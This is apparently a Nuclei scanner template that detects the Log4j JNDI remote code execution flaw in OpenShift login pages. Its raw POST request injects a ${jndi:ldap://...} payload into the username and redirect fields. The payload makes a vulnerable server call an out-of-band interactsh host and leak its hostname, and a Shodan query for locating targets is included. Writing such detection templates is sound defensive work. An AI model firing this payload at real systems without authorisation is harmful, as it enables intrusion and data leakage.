2023-10-18 20:00:15 +00:00
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id: openshift-log4j-rce
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info:
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name: OpenShift - Remote Code Execution (Apache Log4j)
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2023-10-19 07:28:29 +00:00
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author: shaikhyaser
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2023-10-18 20:00:15 +00:00
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severity: critical
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description: |
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OpenShift is susceptible to Log4j JNDI remote code execution. OpenShift is a unified platform to build, modernize, and deploy applications at scale.
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reference:
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- https://access.redhat.com/security/cve/cve-2021-44228
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cve-id: CVE-2021-44228
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cwe-id: CWE-77
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metadata:
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max-request: 1
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2023-10-23 12:22:20 +00:00
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shodan-query: title:"OpenShift"
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2023-10-18 20:00:15 +00:00
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tags: cve,cve2021,rce,jndi,log4j,openshift,oast,kev
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variables:
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rand1: '{{rand_int(111, 999)}}'
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rand2: '{{rand_int(111, 999)}}'
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2023-10-19 07:28:29 +00:00
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str: "{{rand_base(5)}}"
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2023-10-18 20:00:15 +00:00
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http:
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- raw:
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- |
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POST /Login HTTP/1.1
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Host: {{Hostname}}
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Origin: {{RootURL}}
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2023-10-19 07:28:29 +00:00
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Referer: {{RootURL}}/login?then=/oauth/authorize?client_id=openshift-web-console&idp=basic&redirect_uri={{BaseURL}}/console/oauth&response_type
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2023-10-18 20:00:15 +00:00
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Content-Type: application/x-www-form-urlencoded
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2023-10-19 07:28:29 +00:00
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then=%2Foauth%2Fauthorize%3Fclient_id%3Dopenshift-web-console%26idp%3Dbasic%26redirect_uri%3D${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}26response_type%3Dcode&username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&password={{str}}
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2023-10-18 20:00:15 +00:00
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the DNS Interaction
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words:
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- "dns"
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- type: regex
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part: interactsh_request
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regex:
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2023-11-09 09:14:13 +00:00
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output#
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2023-10-18 20:00:15 +00:00
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extractors:
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- type: kval
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kval:
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2023-11-09 09:14:13 +00:00
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- interactsh_ip # Print remote interaction IP in output
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2023-10-18 20:00:15 +00:00
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- type: regex
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group: 2
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regex:
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2023-11-09 09:14:13 +00:00
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
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2023-10-18 20:00:15 +00:00
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part: interactsh_request
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- type: regex
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group: 1
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regex:
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2023-11-09 09:14:13 +00:00
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
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2023-10-18 20:00:15 +00:00
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part: interactsh_request
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2023-11-10 09:15:01 +00:00
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# digest: 4a0a00473045022100e04b557ecaf5c9bdd9fbed42c94e8a9c41bc2a3063bdf843bde20f58f53de29a0220493cef11b3504b961b48b9a583ac4ecb56d3d918715a4acf09426fa4a60ec300:922c64590222798bb761d5b6d8e72950
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